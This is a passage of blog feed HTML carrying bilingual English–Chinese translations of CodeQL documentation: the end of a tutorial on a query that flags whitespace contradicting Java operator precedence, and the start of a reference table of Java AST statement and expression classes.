exists(int lcol, int rcol |</span><br><span class="line">        expr.getNumberOfLinesOfCode() = 1 and</span><br><span class="line">        lcol = expr.getLeftOperand().getLocation().getEndColumn() and</span><br><span class="line">        rcol = expr.getRightOperand().getLocation().getStartColumn() and</span><br><span class="line">        result = rcol - (lcol+1) - (expr.getOp().length()-2)</span><br><span class="line">    )</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from BinaryExpr outer, BinaryExpr inner,</span><br><span class="line">    int wsouter, int wsinner</span><br><span class="line">where inner = outer.getAChildExpr() and</span><br><span class="line">    wsinner = operatorWS(inner) and wsouter = operatorWS(outer) and</span><br><span class="line">    wsinner &gt; wsouter</span><br><span class="line">select outer, "Whitespace around nested operators contradicts precedence."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8141155897270480914/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This query is likely to find results on most projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这个查询很可能在大多数项目上找到结果。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/25u09er25ec/25u09er25ec.png" alt="image-20210327140925716"></p><p><img src="https://gitee.com/samny/images/raw/master/48u09er48ec/48u09er48ec.png" alt="image-20210327140944489"></p><p><img src="https://gitee.com/samny/images/raw/master/55u09er55ec/55u09er55ec.png" alt="image-20210327140955684"></p><p>The first conjunct of the <code>where</code> clause restricts <code>inner</code> to be an operand of <code>outer</code>, the second conjunct binds <code>wsinner</code> and <code>wsouter</code>, while the last conjunct selects the suspicious cases.</p><blockquote><p>where子句的第一个共轭限制了inner是 outer的操作数，第二个共轭绑定了wsinner和wsouter，而最后一个共轭选择了可疑的情况。</p></blockquote><p>At first, we might be tempted to write <code>inner = outer.getAnOperand()</code> in the first conjunct. This, however, wouldn’t be quite correct: <code>getAnOperand</code> strips off any surrounding parentheses from its result, which is often useful, but not what we want here: if there are parentheses around the inner expression, then the programmer probably knew what they were doing, and the query should not flag this expression.</p><blockquote><p>起初，我们可能会想在第一个共轭中写出inner = outer.getAnOperand()。然而，这并不完全正确：getAnOperand会从其结果中剥离任何周围的小括号，这通常是有用的，但不是我们在这里想要的：如果内在表达式周围有小括号，那么程序员可能知道他们在做什么，查询不应该标记这个表达式。</p></blockquote><h3 id="Improving-the-query"><a href="#Improving-the-query" class="headerlink" title="Improving the query"></a>Improving the query</h3><p>If we run this initial query, we might notice some false positives arising from asymmetric white space. For instance, the following expression is flagged as suspicious, although it is unlikely to cause confusion in practice:</p><blockquote><p>如果我们运行这个初始查询，我们可能会注意到一些不对称的白色空间产生的假阳性。例如，下面的表达式被标记为可疑，尽管它在实践中不太可能引起混淆:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">i&lt; start + 100</span><br></pre></td></tr></tbody></table></figure><p>Note that our predicate <code>operatorWS</code> computes the <strong>total</strong> amount of white space around the operator, which, in this case, is one for the <code>&lt;</code> and two for the <code>+</code>. Ideally, we would like to exclude cases where the amount of white space before and after the operator are not the same. Currently, CodeQL databases don’t record enough information to figure this out, but as an approximation we could require that the total number of white space characters is even:</p><blockquote><p>请注意，我们的谓词 operatorWS 计算的是运算符周围的空白空间总量，在这种情况下，&lt;的空白空间是一个，+的空白空间是两个。理想情况下，我们希望排除操作符前后留白量不一样的情况。目前，CodeQL数据库并没有记录足够的信息来弄清这一点，但作为近似值，我们可以要求空白字符的总数是偶数:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">// Compute whitespace around operators</span><br><span class="line">int operatorWS(BinaryExpr expr) {</span><br><span class="line">    exists(int lcol, int rcol |</span><br><span class="line">        expr.getNumberOfLinesOfCode() = 1 and</span><br><span class="line">        lcol = expr.getLeftOperand().getLocation().getEndColumn() and</span><br><span class="line">        rcol = expr.getRightOperand().getLocation().getStartColumn() and</span><br><span class="line">        result = rcol - (lcol+1) - (expr.getOp().length()-2)</span><br><span class="line">    )</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from BinaryExpr outer, BinaryExpr inner,</span><br><span class="line">    int wsouter, int wsinner</span><br><span class="line">where inner = outer.getAChildExpr() and</span><br><span class="line">    wsinner = operatorWS(inner) and wsouter = operatorWS(outer) and</span><br><span class="line">    wsinner % 2 = 0 and wsouter % 2 = 0 and</span><br><span class="line">    wsinner &gt; wsouter</span><br><span class="line">select outer, "Whitespace around nested operators contradicts precedence."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/3151720037708691205/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Any results will be refined by our changes to the query.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。任何结果都将通过我们对查询的更改来完善。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/24u14er24ec/24u14er24ec.png" alt="image-20210327141424528"></p><p><img src="https://gitee.com/samny/images/raw/master/53u15er53ec/53u15er53ec.png" alt="image-20210327141545915"></p><p><img src="https://gitee.com/samny/images/raw/master/53u15er53ec/53u15er53ec.png" alt="image-20210327141553168"></p><p>Another source of false positives are associative operators: in an expression of the form <code>x + y+z</code>, the first plus is syntactically nested inside the second, since + in Java associates to the left; hence the expression is flagged as suspicious. But since + is associative to begin with, it does not matter which way around the operators are nested, so this is a false positive. To exclude these cases, let us define a new class identifying binary expressions with an associative operator:</p><blockquote><p>另一个误报的来源是关联运算符：在 x + y+z 这种形式的表达式中，第一个加号在语法上嵌套在第二个加号里面，因为在 Java 中 + 是向左关联的；因此该表达式被标记为可疑。但是由于+一开始就是关联的，所以运算符嵌套在哪个方向并不重要，所以这是一个假阳性。为了排除这些情况，让我们定义一个新的类来识别带有关联运算符的二进制表达式:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class AssociativeOperator extends BinaryExpr {</span><br><span class="line">    AssociativeOperator() {</span><br><span class="line">        this instanceof AddExpr or</span><br><span class="line">        this instanceof MulExpr or</span><br><span class="line">        this instanceof BitwiseExpr or</span><br><span class="line">        this instanceof AndLogicalExpr or</span><br><span class="line">        this instanceof OrLogicalExpr</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Now we can extend our query to discard results where the outer and the inner expression both have the same, associative operator:</p><blockquote><p>现在，我们可以扩展我们的查询，以丢弃外在表达式和内在表达式都有相同的关联操作符的结果:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">// Compute whitespace around operators</span><br><span class="line">int operatorWS(BinaryExpr expr) {</span><br><span class="line">    exists(int lcol, int rcol |</span><br><span class="line">        expr.getNumberOfLinesOfCode() = 1 and</span><br><span class="line">        lcol = expr.getLeftOperand().getLocation().getEndColumn() and</span><br><span class="line">        rcol = expr.getRightOperand().getLocation().getStartColumn() and</span><br><span class="line">        result = rcol - (lcol+1) - (expr.getOp().length()-2)</span><br><span class="line">    )</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">//Identify binary expressions with an associative operator</span><br><span class="line">class AssociativeOperator extends BinaryExpr {</span><br><span class="line">    AssociativeOperator() {</span><br><span class="line">        this instanceof AddExpr or</span><br><span class="line">        this instanceof MulExpr or</span><br><span class="line">        this instanceof BitwiseExpr or</span><br><span class="line">        this instanceof AndLogicalExpr or</span><br><span class="line">        this instanceof OrLogicalExpr</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from BinaryExpr inner, BinaryExpr outer, int wsouter, int wsinner</span><br><span class="line">where inner = outer.getAChildExpr() and</span><br><span class="line">    not (inner.getOp() = outer.getOp() and outer instanceof AssociativeOperator) and</span><br><span class="line">    wsinner = operatorWS(inner) and wsouter = operatorWS(outer) and</span><br><span class="line">    wsinner % 2 = 0 and wsouter % 2 = 0 and</span><br><span class="line">    wsinner &gt; wsouter</span><br><span class="line">select outer, "Whitespace around nested operators contradicts precedence."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/5714614966569401039/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到这一点。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/8u19er8ec/8u19er8ec.png" alt="image-20210327141908239"></p><p><img src="https://gitee.com/samny/images/raw/master/37u19er37ec/37u19er37ec.png" alt="image-20210327141931108"></p><p><img src="https://gitee.com/samny/images/raw/master/37u19er37ec/37u19er37ec.png" alt="image-20210327141937373"></p><p>Notice that we again use <code>getOp</code>, this time to determine whether two binary expressions have the same operator. Running our improved query now finds the Java standard library bug described in the Overview. It also flags up the following suspicious code in <a href="https://hbase.apache.org/" target="_blank" rel="noopener">Hadoop HBase</a>:</p><blockquote><p>注意，我们再次使用 getOp，这次是为了确定两个二进制表达式是否具有相同的运算符。现在运行我们改进的查询可以找到概述中描述的 Java 标准库错误。它还在Hadoop HBase中标记出以下可疑代码:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">KEY_SLAVE = tmp[ i+1 % 2 ];</span><br></pre></td></tr></tbody></table></figure><p>Whitespace suggests that the programmer meant to toggle <code>i</code> between zero and one, but in fact the expression is parsed as <code>i + (1%2)</code>, which is the same as <code>i + 1</code>, so <code>i</code> is simply incremented.</p><blockquote><p>空格表明程序员的意思是在0和1之间切换i，但事实上，该表达式被解析为i+（1%2），这与i+1相同，所以i只是简单地递增。</p></blockquote>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Working-with-source-locations¶&quot;&gt;&lt;a href=&quot;#Working-with-source-locations¶&quot; class=&quot;headerlink&quot; title=&quot;Working with source locations¶&quot;&gt;
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Abstract syntax tree classes for working with Java programs</title>
    <link href="https://summersec.github.io/2021/03/26/Abstract%20syntax%20tree%20classes%20for%20working%20with%20Java%20programs/"/>
    <id>https://summersec.github.io/2021/03/26/Abstract%20syntax%20tree%20classes%20for%20working%20with%20Java%20programs/</id>
    <published>2021-03-26T15:01:42.000Z</published>
    <updated>2021-03-28T05:58:56.424Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Abstract-syntax-tree-classes-for-working-with-Java-programs¶用于Java程序的抽象语法树类。"><a href="#Abstract-syntax-tree-classes-for-working-with-Java-programs¶用于Java程序的抽象语法树类。" class="headerlink" title="Abstract syntax tree classes for working with Java programs¶用于Java程序的抽象语法树类。"></a>Abstract syntax tree classes for working with Java programs<a href="https://codeql.github.com/docs/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs/#abstract-syntax-tree-classes-for-working-with-java-programs" target="_blank" rel="noopener">¶</a>用于Java程序的抽象语法树类。</h1><p>CodeQL has a large selection of classes for representing the abstract syntax tree of Java programs.</p><blockquote><p>CodeQL有大量的类用于表示Java程序的抽象语法树。</p></blockquote><p>The <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree" target="_blank" rel="noopener">abstract syntax tree (AST)</a> represents the syntactic structure of a program. Nodes on the AST represent elements such as statements and expressions.</p><blockquote><p>抽象语法树（AST）表示程序的语法结构。AST中的节点代表了诸如语句和表达式等元素。</p></blockquote><h2 id="Statement-classes"><a href="#Statement-classes" class="headerlink" title="Statement classes"></a>Statement classes</h2><p>This table lists all subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a>.</p><blockquote><p>本表列出了Stmt的所有子类。</p></blockquote><table><thead><tr><th align="left">Statement syntax</th><th align="left">CodeQL class</th><th align="left">Superclasses</th><th align="left">Remarks</th></tr></thead><tbody><tr><td align="left"><code>;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$EmptyStmt.html" target="_blank" rel="noopener">EmptyStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ExprStmt.html" target="_blank" rel="noopener">ExprStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>{</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>... }</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$BlockStmt.html" target="_blank" rel="noopener">BlockStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>if (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>)</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>else</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$IfStmt.html" target="_blank" rel="noopener">IfStmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ConditionalStmt.html" target="_blank" rel="noopener">ConditionalStmt</a></td><td align="left"></td></tr><tr><td align="left"><code>if (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>)</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a></td><td align="left"></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>while (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>)</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$WhileStmt.html" target="_blank" rel="noopener">WhileStmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ConditionalStmt.html" target="_blank" rel="noopener">ConditionalStmt</a>, <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LoopStmt.html" target="_blank" rel="noopener">LoopStmt</a></td><td align="left"></td></tr><tr><td align="left"><code>do</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>while (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>)</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$DoStmt.html" target="_blank" rel="noopener">DoStmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ConditionalStmt.html" target="_blank" rel="noopener">ConditionalStmt</a>, <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LoopStmt.html" target="_blank" rel="noopener">LoopStmt</a></td><td align="left"></td></tr><tr><td align="left"><code>for (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>)</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ForStmt.html" target="_blank" rel="noopener">ForStmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ConditionalStmt.html" target="_blank" rel="noopener">ConditionalStmt</a>, <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LoopStmt.html" target="_blank" rel="noopener">LoopStmt</a></td><td align="left"></td></tr><tr><td align="left"><code>for (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html" target="_blank" rel="noopener">VarAccess</a> <code>:</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>)</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$EnhancedForStmt.html" target="_blank" rel="noopener">EnhancedForStmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LoopStmt.html" target="_blank" rel="noopener">LoopStmt</a></td><td align="left"></td></tr><tr><td align="left"><code>switch (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>) {</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SwitchCase.html" target="_blank" rel="noopener">SwitchCase</a> <code>... }</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SwitchStmt.html" target="_blank" rel="noopener">SwitchStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>try {</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>... } finally {</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>... }</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$TryStmt.html" target="_blank" rel="noopener">TryStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>return</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ReturnStmt.html" target="_blank" rel="noopener">ReturnStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>return ;</code></td><td align="left"></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>throw</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ThrowStmt.html" target="_blank" rel="noopener">ThrowStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>break ;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$BreakStmt.html" target="_blank" rel="noopener">BreakStmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$JumpStmt.html" target="_blank" rel="noopener">JumpStmt</a></td><td align="left"></td></tr><tr><td align="left"><code>break label ;</code></td><td align="left"></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>continue ;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ContinueStmt.html" target="_blank" rel="noopener">ContinueStmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$JumpStmt.html" target="_blank" rel="noopener">JumpStmt</a></td><td align="left"></td></tr><tr><td align="left"><code>continue label ;</code></td><td align="left"></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>label :</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LabeledStmt.html" target="_blank" rel="noopener">LabeledStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>synchronized (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>)</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SynchronizedStmt.html" target="_blank" rel="noopener">SynchronizedStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>assert</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>:</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$AssertStmt.html" target="_blank" rel="noopener">AssertStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>assert</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>;</code></td><td align="left"></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$TypeAccess.html" target="_blank" rel="noopener">TypeAccess</a> <code>name ;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LocalVariableDeclStmt.html" target="_blank" rel="noopener">LocalVariableDeclStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>class name {</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Member.html" target="_blank" rel="noopener">Member</a> <code>... } ;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LocalClassDeclStmt.html" target="_blank" rel="noopener">LocalClassDeclStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>this (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>, ... ) ;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ThisConstructorInvocationStmt.html" target="_blank" rel="noopener">ThisConstructorInvocationStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>super (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>, ... ) ;</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SuperConstructorInvocationStmt.html" target="_blank" rel="noopener">SuperConstructorInvocationStmt</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>catch (</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$TypeAccess.html" target="_blank" rel="noopener">TypeAccess</a> <code>name ) {</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>... }</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$CatchClause.html" target="_blank" rel="noopener">CatchClause</a></td><td align="left"></td><td align="left">can only occur as child of a <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$TryStmt.html" target="_blank" rel="noopener">TryStmt</a></td></tr><tr><td align="left"><code>case</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Literal.html" target="_blank" rel="noopener">Literal</a> <code>:</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>...</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ConstCase.html" target="_blank" rel="noopener">ConstCase</a></td><td align="left"></td><td align="left">can only occur as child of a <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SwitchStmt.html" target="_blank" rel="noopener">SwitchStmt</a></td></tr><tr><td align="left"><code>default :</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html" target="_blank" rel="noopener">Stmt</a> <code>...</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$DefaultCase.html" target="_blank" rel="noopener">DefaultCase</a></td><td align="left"></td><td align="left">can only occur as child of a <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SwitchStmt.html" target="_blank" rel="noopener">SwitchStmt</a></td></tr></tbody></table><h2 id="Expression-classes"><a href="#Expression-classes" class="headerlink" title="Expression classes"></a>Expression classes</h2><p>There are many expression classes, so we present them by category. All classes in this section are subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a>.</p><blockquote><p>表达式类有很多，所以我们按类别来介绍。本节中的所有类都是Expr.Literals的子类。</p></blockquote><h3 id="Literals"><a href="#Literals" class="headerlink" title="Literals"></a>Literals</h3><p>All classes in this subsection are subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Literal.html" target="_blank" rel="noopener">Literal</a>.</p><blockquote><p>本小节中的所有类都是Literal的子类。</p></blockquote><table><thead><tr><th align="left">Expression syntax example</th><th align="left">CodeQL class</th></tr></thead><tbody><tr><td align="left"><code>true</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BooleanLiteral.html" target="_blank" rel="noopener">BooleanLiteral</a></td></tr><tr><td align="left"><code>23</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$IntegerLiteral.html" target="_blank" rel="noopener">IntegerLiteral</a></td></tr><tr><td align="left"><code>23l</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LongLiteral.html" target="_blank" rel="noopener">LongLiteral</a></td></tr><tr><td align="left"><code>4.2f</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$FloatingPointLiteral.html" target="_blank" 